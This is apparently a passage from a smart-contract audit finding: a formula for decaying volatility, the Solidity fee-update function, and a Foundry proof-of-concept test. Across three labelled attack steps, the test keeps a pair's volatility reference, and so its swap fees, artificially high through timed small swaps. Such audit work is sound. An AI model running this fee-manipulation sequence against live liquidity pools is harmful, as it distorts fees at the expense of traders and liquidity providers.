v_r = \left{\begin{matrix}
v_r, & t\<t_f  \\
R \cdot  v_a & t_f <= t < t_d \\
0, & t_d <= t
\end{matrix}\right.
function updateVariableFeeParameters(FeeParameters memory _fp, uint256 _activeId) internal view {
        uint256 _deltaT = block.timestamp - _fp.time;

        if (_deltaT >= _fp.filterPeriod || _fp.time == 0) {
            _fp.indexRef = uint24(_activeId);
            if (_deltaT < _fp.decayPeriod) {
                unchecked {
                    // This can't overflow as `reductionFactor <= BASIS_POINT_MAX`
                    _fp.volatilityReference = uint24(
                        (uint256(_fp.reductionFactor) * _fp.volatilityAccumulated) / Constants.BASIS_POINT_MAX
                    );
                }
            } else {
                _fp.volatilityReference = 0;
            }
        }

        _fp.time = (block.timestamp).safe40();

        updateVolatilityAccumulated(_fp, _activeId);
    }
function testAbuseHighFeesAttack() public {
        uint256 amountY = 30e18;
        uint256 id;
        uint256 reserveX;
        uint256 reserveY;
        uint256 amountXInForSwap;
        uint256 amountYInLiquidity = 100e18;
        FeeHelper.FeeParameters memory feeParams;

        addLiquidity(amountYInLiquidity, ID_ONE, 2501, 0);

        //swap X -> Y and accrue X fees
        (amountXInForSwap,) = router.getSwapIn(pair, amountY, true);

        (reserveX,reserveY,id ) = pair.getReservesAndId();
        feeParams = pair.feeParameters();
        console.log("indexRef - start" , feeParams.indexRef);
        console.log("volatilityReference - start" , feeParams.volatilityReference);
        console.log("volatilityAccumulated - start" , feeParams.volatilityAccumulated);
        console.log("active ID - start" , id);
        console.log("reserveX - start" , reserveX);
        console.log("reserveY - start" , reserveY);

        // ATTACK step 1 - Cross many bins / wait for high volatility period
        token6D.mint(address(pair), amountXInForSwap);
        vm.prank(ALICE);
        pair.swap(true, DEV);

        (reserveX,reserveY,id ) = pair.getReservesAndId();
        feeParams = pair.feeParameters();
        console.log("indexRef - swap1" , feeParams.indexRef);
        console.log("volatilityReference - swap1" , feeParams.volatilityReference);
        console.log("volatilityAccumulated - swap1" , feeParams.volatilityAccumulated);
        console.log("active ID - swap1" , id);
        console.log("reserveX - swap1" , reserveX);
        console.log("reserveY - swap1" , reserveY);

        // ATTACK step 2 - Decay the Va into Vr
        vm.warp(block.timestamp + 99);
        token18D.mint(address(pair), 10);
        vm.prank(ALICE);
        pair.swap(false, DEV);

        (reserveX,reserveY,id ) = pair.getReservesAndId();
        console.log("active ID - swap2" , id);
        console.log("reserveX - swap2" , reserveX);
        console.log("reserveY - swap2" , reserveY);
        feeParams = pair.feeParameters();
        console.log("indexRef - swap2" , feeParams.indexRef);
        console.log("volatilityReference - swap2" , feeParams.volatilityReference);
        console.log("volatilityAccumulated - swap2" , feeParams.volatilityAccumulated);


        // ATTACK step 3 - keep high Vr -> high Va
        for(uint256 i=0;i<10;i++) {
            vm.warp(block.timestamp + 49);

            token18D.mint(address(pair), 10);
            vm.prank(ALICE);
            pair.swap(false, DEV);

            (reserveX,reserveY,id ) = pair.getReservesAndId();
            console.log("**************");
            console.log("ITERATION ", i);
            console.log("active ID" , id);
            console.log("reserveX" , reserveX);
            console.log("reserveY" , reserveY);
            feeParams = pair.feeParameters();
            console.log("indexRef" , feeParams.indexRef);
            console.log("volatilityReference" , feeParams.volatilityReference);
            console.log("volatilityAccumulated" , feeParams.volatilityAccumulated);
            console.log("**************");
        }

    }
